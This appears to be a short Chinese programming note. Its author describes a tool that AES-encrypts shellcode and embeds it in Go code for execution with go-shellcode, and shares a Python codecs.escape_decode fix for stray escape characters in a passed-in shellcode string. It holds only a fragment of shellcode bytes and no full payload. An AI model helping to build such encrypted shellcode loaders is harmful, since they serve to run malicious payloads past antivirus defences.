python操作一段shellcode遇到的问题bytes 转义符问题

我写的程序会接收一个shellcode的变量 然后将这个shellcode aes加密的字符串写到go的代码里 go使用go-shellcode执行shellcode

一、python2和python3对于 这种类型的字符串是不一样的

#!/usr/bin/python
# coding=utf-8

print(type(text))

二、python接收到的变量是 \xfc\x48\x83\xe4 的 然后加密的时候因为多了 转义符导致跟预期的不一致 那怎么把这个转义符去掉达到预期

import codecs
变量=codecs.escape_decode(有多余转义变量, "hex-escape")

也就是如果下次遇到要扣buf等类似的需求 并且变量是传过来的 可以使用这个方法还原回去
